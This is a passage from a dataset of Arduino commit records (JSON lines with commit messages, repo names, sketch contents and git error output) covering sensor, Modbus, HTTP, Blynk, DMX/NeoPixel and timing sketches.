Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n Serial.write('j');\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(0, dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n pinMode(tilted, OUTPUT);\n pinMode(moving, OUTPUT);\n pinMode(level, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetEuler(euler, &q);\n int xDeg = euler[0] * 180\/M_PI;\n int yDeg = euler[1] * 180\/M_PI;\n int zDeg = euler[2] * 180\/M_PI;\n Serial.print(\"euler\\t\");\n Serial.print(xDeg);\n Serial.print(\"\\t\");\n Serial.print(yDeg);\n Serial.print(\"\\t\");\n Serial.print(zDeg);\n Serial.print(\"\\t\");\n\n Serial.print(\"\\tXRef: \");\n Serial.print(refX);\n Serial.print(\"\\tYRef: \");\n Serial.print(refY);\n Serial.print(\"\\tZRef: \");\n Serial.print(refZ);\n Serial.print(\"\\tCount: \");\n Serial.println(count);\n\n\/*\n \/\/ display real acceleration, adjusted to remove gravity\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.print(aaReal.z);\n Serial.print(\"\\t\");\n\n Serial.print(\"Count: \");\n Serial.println(count);\n \n \/\/ Set acceleration values here\n dx = aaReal.x - tempx;\n dy = ay - tempy;\n dz = az - tempz;\n dx = (dx\/10); \n int modx = dx%10;\n dx = dx-modx;\n dy = (dy\/10);\n int mody = dy%10;\n dy = dy-mody;\n dz = (dz\/10);\n int modz = dz%10;\n dz = dz-modz;\n \n tempx = ax;\n tempy = ay;\n tempz = az;\n *\/ \n if(count < calibrateCount) {\n count++;\n if(count%100 < 50) {\n digitalWrite(tilted, HIGH);\n digitalWrite(moving, HIGH);\n digitalWrite(level, HIGH);\n } else {\n digitalWrite(tilted, LOW);\n digitalWrite(moving, LOW);\n digitalWrite(level, LOW);\n }\n } else if (!setRef) {\n \/\/ Play a speaker tone when calibrated for feedback?\n refX = xDeg;\n refY = yDeg;\n refZ = zDeg;\n digitalWrite(tilted, LOW);\n digitalWrite(moving, LOW);\n digitalWrite(level, LOW); \n setRef = true; \n } else {\n \/\/Test to see if moving here\n \n if(abs(abs(xDeg)-abs(refX)) < 8 && abs(abs(zDeg)-abs(refZ)) < 8) {\n digitalWrite(tilted, LOW);\n digitalWrite(moving, LOW);\n digitalWrite(level, HIGH);\n } else {\n digitalWrite(tilted, HIGH);\n digitalWrite(moving, LOW);\n digitalWrite(level, LOW);\n }\n }\n\n \/*\n \/\/ display real acceleration, adjusted to remove gravity\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.println(aaReal.z);\n *\/\n\n \/*\n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld.z);\n *\/\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CreatedCode\/Arduino\/LevelerSensor\/LevelerSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a7f4ff87588eda1486b0f1ddff4eebfe14398705","subject":"remove debug blinks","message":"remove debug blinks\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"project\/project.ino","new_file":"project\/project.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e0e024b3267fcffe97092772f1f43a6978f3b017","subject":"Using pulse in function","message":"Using pulse in function\n\nUsing pulse in function. More accurate.\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/timer_setup_example\/timer_setup_example.ino","new_file":"arduino\/timer_setup_example\/timer_setup_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c78212d76d493fc32371ffa30d7020fdbbb2913f","subject":"fixes to detectwater and pin declarations","message":"fixes to detectwater and pin declarations\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"17980b956d212d09fe2e1172634e3decd569f2ea","subject":"Processing supported","message":"Processing supported\n","repos":"WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada","old_file":"gyro\/gyro.ino","new_file":"gyro\/gyro.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WSPCrea\/2017-aki-kada.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"49931504dd773102b5d96538ef7645000c078d99","subject":"Create simplemodbusslave.ino","message":"Create simplemodbusslave.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"simplemodbusslave.ino","new_file":"simplemodbusslave.ino","new_contents":"#include <SimpleModbusSlave.h>\n\n\/* \n SimpleModbusSlaveV10 supports function 3, 6 & 16.\n \n This example code will receive the adc ch0 value from the arduino master. \n It will then use this value to adjust the brightness of the led on pin 9.\n The value received from the master will be stored in address 1 in its own\n address space namely holdingRegs[].\n \n In addition to this the slaves own adc ch0 value will be stored in \n address 0 in its own address space holdingRegs[] for the master to\n be read. The master will use this value to alter the brightness of its\n own led connected to pin 9.\n \n The modbus_update() method updates the holdingRegs register array and checks\n communication.\n\n Note: \n The Arduino serial ring buffer is 64 bytes or 32 registers.\n Most of the time you will connect the arduino to a master via serial\n using a MAX485 or similar.\n \n In a function 3 request the master will attempt to read from your\n slave and since 5 bytes is already used for ID, FUNCTION, NO OF BYTES\n and two BYTES CRC the master can only request 58 bytes or 29 registers.\n \n In a function 16 request the master will attempt to write to your \n slave and since a 9 bytes is already used for ID, FUNCTION, ADDRESS, \n NO OF REGISTERS, NO OF BYTES and two BYTES CRC the master can only write\n 54 bytes or 27 registers.\n \n Using a USB to Serial converter the maximum bytes you can send is \n limited to its internal buffer which differs between manufactures. \n*\/\n#define baud 9600\n#define timeout 1000\n#define polling 200 \/\/ the scan rate\n#define retry_count 10\n\n\/\/ used to toggle the receive\/transmit pin on the driver\n#define TxEnablePin 2\n#define LED 9 \n\n\/\/ Using the enum instruction allows for an easy method for adding and \n\/\/ removing registers. Doing it this way saves you #defining the size \n\/\/ of your slaves register array each time you want to add more registers\n\/\/ and at a glimpse informs you of your slaves register layout.\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ registers of your slave \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum \n{ \n \/\/ just add or remove registers and your good to go...\n \/\/ The first register starts at address 0\n ADC_VAL, \n PWM_VAL, \n HOLDING_REGS_SIZE \/\/ leave this one\n \/\/ total number of registers for function 3 and 16 share the same register array\n \/\/ i.e. the same address space\n};\n\nunsigned int holdingRegs[HOLDING_REGS_SIZE]; \/\/ function 3 and 16 register array\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup()\n{\n \/* parameters(HardwareSerial* SerialPort,\n long baudrate, \n\t\tunsigned char byteFormat,\n unsigned char ID, \n unsigned char transmit enable pin, \n unsigned int holding registers size,\n unsigned int* holding register array)\n *\/\n \n \/* Valid modbus byte formats are:\n SERIAL_8N2: 1 start bit, 8 data bits, 2 stop bits\n SERIAL_8E1: 1 start bit, 8 data bits, 1 Even parity bit, 1 stop bit\n SERIAL_8O1: 1 start bit, 8 data bits, 1 Odd parity bit, 1 stop bit\n \n You can obviously use SERIAL_8N1 but this does not adhere to the\n Modbus specifications. That said, I have tested the SERIAL_8N1 option \n on various commercial masters and slaves that were suppose to adhere\n to this specification and was always able to communicate... Go figure.\n \n These byte formats are already defined in the Arduino global name space. \n *\/\n\t\n modbus_configure(&Serial, 115200, SERIAL_8N2, 1, 2, HOLDING_REGS_SIZE, holdingRegs);\n\n \/\/ modbus_update_comms(baud, byteFormat, id) is not needed but allows for easy update of the\n \/\/ port variables and slave id dynamically in any function.\n modbus_update_comms(9600, SERIAL_8N2, 1);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n \/\/ modbus_update() is the only method used in loop(). It returns the total error\n \/\/ count since the slave started. You don't have to use it but it's useful\n \/\/ for fault finding by the modbus master.\n \n modbus_update();\n \n holdingRegs[ADC_VAL] = analogRead(A0); \/\/ update data to be read by the master to adjust the PWM\n \n analogWrite(LED, holdingRegs[1]); \/\/ constrain adc value from the arduino master to 255\n \/\/digitalWrite(LED,holdingRegs[PWM_VAL]);\n \n \/* Note:\n The use of the enum instruction is not needed. You could set a maximum allowable\n size for holdinRegs[] by defining HOLDING_REGS_SIZE using a constant and then access \n holdingRegs[] by \"Index\" addressing. \n I.e.\n holdingRegs[0] = analogRead(A0);\n analogWrite(LED, holdingRegs[1]\/4);\n *\/\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simplemodbusslave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb6418f6416ded37d4b476f26ce6fae930b40c18","subject":"POST http client example (#2704)","message":"POST http client example (#2704)\n\n* POST http client example\r\n\r\n* avoid deprecated api\r\n\r\n* Update PostHttpClient.ino\r\n\r\nstyle, comments\r\n\r\n* Update PostHttpClient.ino\r\n","repos":"esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,esp8266\/Arduino,sticilface\/Arduino,esp8266\/Arduino,sticilface\/Arduino,sticilface\/Arduino","old_file":"libraries\/ESP8266HTTPClient\/examples\/PostHttpClient\/PostHttpClient.ino","new_file":"libraries\/ESP8266HTTPClient\/examples\/PostHttpClient\/PostHttpClient.ino","new_contents":"\/**\n PostHTTPClient.ino\n\n Created on: 21.11.2016\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\n#define USE_SERIAL Serial\n\n\/* this can be run with an emulated server on host:\n cd esp8266-core-root-dir\n cd tests\/host\n make ..\/..\/libraries\/ESP8266WebServer\/examples\/PostServer\/PostServer\n bin\/PostServer\/PostServer\n then put your PC's IP address in SERVER_IP below, port 9080 (instead of default 80):\n*\/\n\/\/#define SERVER_IP \"10.0.1.7:9080\" \/\/ PC address with emulation on host\n#define SERVER_IP \"192.168.1.42\"\n\n#ifndef STASSID\n#define STASSID \"your-ssid\"\n#define STAPSK \"your-password\"\n#endif\n\nvoid setup() {\n\n USE_SERIAL.begin(115200);\n\n USE_SERIAL.println();\n USE_SERIAL.println();\n USE_SERIAL.println();\n\n WiFi.begin(STASSID, STAPSK);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n USE_SERIAL.print(\".\");\n }\n USE_SERIAL.println(\"\");\n USE_SERIAL.print(\"Connected! IP address: \");\n USE_SERIAL.println(WiFi.localIP());\n\n}\n\nvoid loop() {\n \/\/ wait for WiFi connection\n if ((WiFi.status() == WL_CONNECTED)) {\n\n WiFiClient client;\n HTTPClient http;\n\n USE_SERIAL.print(\"[HTTP] begin...\\n\");\n \/\/ configure traged server and url\n http.begin(client, \"http:\/\/\" SERVER_IP \"\/postplain\/\"); \/\/HTTP\n http.addHeader(\"Content-Type\", \"application\/json\");\n\n USE_SERIAL.print(\"[HTTP] POST...\\n\");\n \/\/ start connection and send HTTP header and body\n int httpCode = http.POST(\"{\\\"hello\\\":\\\"world\\\"}\");\n\n \/\/ httpCode will be negative on error\n if (httpCode > 0) {\n \/\/ HTTP header has been send and Server response header has been handled\n USE_SERIAL.printf(\"[HTTP] POST... code: %d\\n\", httpCode);\n\n \/\/ file found at server\n if (httpCode == HTTP_CODE_OK) {\n const String& payload = http.getString();\n USE_SERIAL.println(\"received payload:\\n<<\");\n USE_SERIAL.println(payload);\n USE_SERIAL.println(\">>\");\n }\n } else {\n USE_SERIAL.printf(\"[HTTP] POST... failed, error: %s\\n\", http.errorToString(httpCode).c_str());\n }\n\n http.end();\n }\n\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266HTTPClient\/examples\/PostHttpClient\/PostHttpClient.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a57c3312aaa1fd0c104835fe65cd0196e30cf1a2","subject":"controller writing to serial port","message":"controller writing to serial port\n","repos":"robreeves\/robotany","old_file":"auto_water\/controller\/controller.ino","new_file":"auto_water\/controller\/controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/robreeves\/robotany.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f69ffade852a97c095e1634706865caff13fa9ff","subject":"Add STM32F103 Blue Pill example","message":"Add STM32F103 Blue Pill example\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_USB_Serial\/Blue_Pill_STM32F103C8\/Blue_Pill_STM32F103C8.ino","new_file":"examples\/Boards_USB_Serial\/Blue_Pill_STM32F103C8\/Blue_Pill_STM32F103C8.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use ordinary Arduino Serial\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n * Requires STM32duino: https:\/\/github.com\/rogerclarkmelbourne\/Arduino_STM32\/wiki\/Installation\n *\n **************************************************************\n * USB HOWTO: http:\/\/tiny.cc\/BlynkUSB\n **************************************************************\/\n\n#define BLYNK_PRINT Serial2\n#include <BlynkSimpleStream.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial2.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_USB_Serial\/Blue_Pill_STM32F103C8\/Blue_Pill_STM32F103C8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"85f1e0725709e79e4b7d1fcb2bbe1bfb36519ab2","subject":"Create SHRUN.ino","message":"Create SHRUN.ino","repos":"TEAMarg\/ID-15-Shadow-Runner,TEAMarg\/ID-15-Shadow-Runner","old_file":"ARDUBOY\/SHRUN\/SHRUN.ino","new_file":"ARDUBOY\/SHRUN\/SHRUN.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-15-Shadow-Runner.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fec45f9c152b30838228a5fa877daa742b025fb3","subject":"add neopixel, single frame read example","message":"add neopixel, single frame read example\n","repos":"claudeheintz\/LXESP8266DMX,claudeheintz\/LXESP8266DMX,claudeheintz\/LXESP8266DMX","old_file":"examples\/DMXInputNeoPixel\/DMXInputNeoPixel.ino","new_file":"examples\/DMXInputNeoPixel\/DMXInputNeoPixel.ino","new_contents":"\/**************************************************************************\/\n\/*!\n @file DMXInputTest.ino\n @author Claude Heintz\n @license BSD (see LXESP8266DMX LICENSE)\n @copyright 2019 by Claude Heintz\n\n Control Neo-Pixels with DMX input\n Demonstrates single frame read using ESP8266DMX.isReceiving()\n \n @section HISTORY\n\n v1.00 - First release \n*\/\n\/**************************************************************************\/\n#include <LXESP8266UARTDMX.h>\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define DIRECTION_PIN 4\n\n\/\/ data pin for NeoPixels\n#define PIN 14\n\/\/ NUM_OF_NEOPIXELS, max of 170\/RGB or 128\/RGBW\n#define NUM_OF_NEOPIXELS 12\n\/\/ LEDS_PER_NEOPIXEL, RGB = 3, RGBW = 4\n#define LEDS_PER_NEOPIXEL 3\n\/\/ see Adafruit NeoPixel Library for options to pass to Adafruit_NeoPixel constructor\nAdafruit_NeoPixel ring = Adafruit_NeoPixel(NUM_OF_NEOPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ min sometimes raises compile error. see https:\/\/github.com\/esp8266\/Arduino\/issues\/263 solution seems to be using _min\nconst int total_pixels = _min(512, LEDS_PER_NEOPIXEL * NUM_OF_NEOPIXELS);\nbyte pixels[NUM_OF_NEOPIXELS][LEDS_PER_NEOPIXEL];\n\n\/\/ flag for dmx data received\nint got_dmx = 0;\n\nvoid setup() {\n pinMode(DIRECTION_PIN, OUTPUT);\t\t\/\/ pin allows control of tranceiver chip direction\n digitalWrite(DIRECTION_PIN, LOW);\t\t\/\/ low is input\n \n ESP8266DMX.setDataReceivedCallback(&gotDMXCallback);\n delay(1000); \/\/avoid boot print??\n\n ring.begin();\n setPixel(0,255); \/\/ initial power up indicator 1 red pixel\n sendPixels();\n}\n\n\n\/\/ ***************** input callback function *************\n\nvoid gotDMXCallback(int slots) {\n got_dmx = slots;\n}\n\n\/\/ ***************** DMX read single frame *************\n\n#define DMX_READ_TIMEOUT_COUNT 10000\n\nvoid readDMXFrame() { \/\/ <- Attempt to read a single DMX frame\n ESP8266DMX.startInput();\n \n uint32_t t_o_ct = 0; \/\/ timeout counter should wait no more than 2 frames of DMX\n \/\/ (? good value for limit)\n \/\/ --will delay animation if too long\n \/\/ --will prevent read if too short\n while ( (got_dmx == 0 ) && (t_o_ct < DMX_READ_TIMEOUT_COUNT) ) {\n t_o_ct++;\n if ( ESP8266DMX.isReceiving() ) { \/\/ if started to read packet, wait until done\n t_o_ct = 0; \/\/ still timeout in case of DMX signal interruption\n while ( ESP8266DMX.isReceiving() && (got_dmx == 0 ) && (t_o_ct < DMX_READ_TIMEOUT_COUNT) ) {\n t_o_ct++;\n }\n\n t_o_ct = 0;\n } \/\/<- receiving\n } \/\/<- ! got_dmx || timeout\n\n ESP8266DMX.stop();\n}\n\n\n\/\/ ***************** sends pixel buffer to ring *************\n\nvoid sendPixels() {\n uint16_t r,g,b;\n for (int p=0; p<NUM_OF_NEOPIXELS; p++) {\n r = pixels[p][0];\n g = pixels[p][1];\n b = pixels[p][2];\n r = (r*r)\/255; \/\/gamma correct\n g = (g*g)\/255;\n b = (b*b)\/255;\n if ( LEDS_PER_NEOPIXEL == 3 ) {\n \tring.setPixelColor(p, r, g, b);\t\t\/\/RGB\n } else if ( LEDS_PER_NEOPIXEL == 4 ) {\n \tuint16_t w = pixels[p][3];\n \tw = (w*w)\/255;\n \tring.setPixelColor(p, r, g, b, w);\t\/\/RGBW\n }\n }\n ring.show();\n}\n\n\/\/ ***************** set the dmx value in the pixel buffer *************\n\nvoid setPixel(uint16_t index, uint8_t value) {\t\n uint8_t pixel = index\/LEDS_PER_NEOPIXEL;\n uint8_t color = index%LEDS_PER_NEOPIXEL;\n pixels[pixel][color] = value;\n}\n\n\/************************************************************************\n\n The main loop tries to read a single DMX frame\n It then checks to see if slots were read (got_dmx>0)\n If so, it sends the values to the NEoPixels\n \n*************************************************************************\/\n\nvoid loop() {\n readDMXFrame();\n \n if ( got_dmx ) {\n for (int i=0; i<total_pixels; i++) {\n \tsetPixel(i, ESP8266DMX.getSlot(i+1));\n }\n sendPixels();\n got_dmx = 0;\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DMXInputNeoPixel\/DMXInputNeoPixel.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8e810a0f62d88c67d0d741983c79dd8528e6d1e9","subject":"Arduino script to time a run","message":"Arduino script to time a run\n","repos":"cdw\/daq_argonne","old_file":"quick_release.ino","new_file":"quick_release.ino","new_contents":"\/* quick_release\n Control a quick release data acquisition run\n communicate over serial to start a run, taking as inputs\n - pre-delay (time to wait before changing length)\n - step-to-exposure delay\n - exposure duration \n - post-exposure time before length is reset\n Created by CDW on 2014.12.02\n*\/\n\n\n\/\/ Timing variables\nconst int PREDELAY = 100; \/\/ in ms\nconst int STEPDELAY = 10; \/\/ in \u00b5s\nconst int EXPOSUREDUR = 100; \/\/ in \u00b5s\nconst int POSTEXPOSURE = 100; \/\/ in ms\n\n\/\/ Non-global variable declaration\nint stepdelay = STEPDELAY;\nbool run_now = false;\n\n\/\/ Pin configuration\nint LEN_OUT = 2; \/\/ to length controller\nint LEN_LED = 3;\nint SHUT_OUT = 4; \/\/ to quick shutter\nint SHUT_LED = 5;\nint EXPOSE_OUT = 6; \/\/ to exposure trigger\nint EXPOSE_LED = 7;\n\n\/\/ Begin setup of board\nvoid setup()\n{\n \/\/ Initialize serial interface\n Serial.begin(115200); \/\/ Start serial connection\n while (!Serial) {\n ; \/\/ wait for serial (for Leonardo only)\n }\n Serial.println(\"Hi\"); \/\/ Demonstrate serial connection\n \/\/ Set pin modes\n pinMode(LEN_OUT, OUTPUT);\n pinMode(LEN_LED, OUTPUT);\n pinMode(SHUT_OUT, OUTPUT);\n pinMode(SHUT_LED, OUTPUT);\n pinMode(EXPOSE_OUT, OUTPUT);\n pinMode(EXPOSE_LED, OUTPUT);\n \/\/ Initial pin states\n digitalWrite(LEN_OUT, LOW);\n digitalWrite(LEN_LED, LOW);\n digitalWrite(SHUT_OUT, LOW);\n digitalWrite(SHUT_LED, LOW);\n digitalWrite(EXPOSE_OUT, LOW);\n digitalWrite(EXPOSE_LED, LOW);\n \/\/ Close out setup\n Serial.println(\"Setup complete\");\n}\n\n\/\/ Loop through\nvoid loop()\n{\n check_serial(); \/\/ read input if it exists\n if (run_now) {\n run(PREDELAY, stepdelay, EXPOSUREDUR, POSTEXPOSURE);\n Serial.println(\"Run complete\"); \/\/ tag that we've done a run\n run_now = false; \/\/ reset the run flag\n }\n}\n\n\/\/ Read data from serial, just the step-to-exposure delay\nvoid check_serial()\n{\n if(Serial.available() >= 2) { \/\/ only when something is available\n stepdelay = Serial.parseInt(); \/\/ first int is delay\n Serial.println(stepdelay); \/\/ echo back as sanity check\n char ending = (char)Serial.read(); \n if (ending == '\\n') { \/\/ ignore out-of-format commands\n run_now = true;\n }\n }\n}\n\n\/\/ Control a run\nvoid run(int predelay, int stepdelay, int exposureduration, int postexposure)\n{\n delay(predelay);\n digitalWrite(SHUT_OUT, HIGH); \/\/ shutter opened before step delay\n digitalWrite(SHUT_LED, HIGH); \/\/ may open during pre-delay in future\n digitalWrite(LEN_OUT, HIGH);\n digitalWrite(LEN_LED, HIGH);\n delayMicroseconds(stepdelay);\n digitalWrite(EXPOSE_OUT, HIGH);\n digitalWrite(EXPOSE_LED, HIGH);\n delayMicroseconds(exposureduration);\n digitalWrite(EXPOSE_OUT, LOW);\n digitalWrite(EXPOSE_LED, LOW);\n digitalWrite(SHUT_OUT, LOW);\n digitalWrite(SHUT_LED, LOW);\n delay(postexposure);\n digitalWrite(LEN_OUT, LOW);\n digitalWrite(LEN_LED, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'quick_release.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07d79535d3fd7a28084a4b5891e374a97adfcd2c","subject":"new file for main app code","message":"new file for main app code\n","repos":"davidiot\/Turnstyle,davidiot\/Turnstyle","old_file":"Turnstyle\/Turnstyle.ino","new_file":"Turnstyle\/Turnstyle.ino","new_contents":"#include 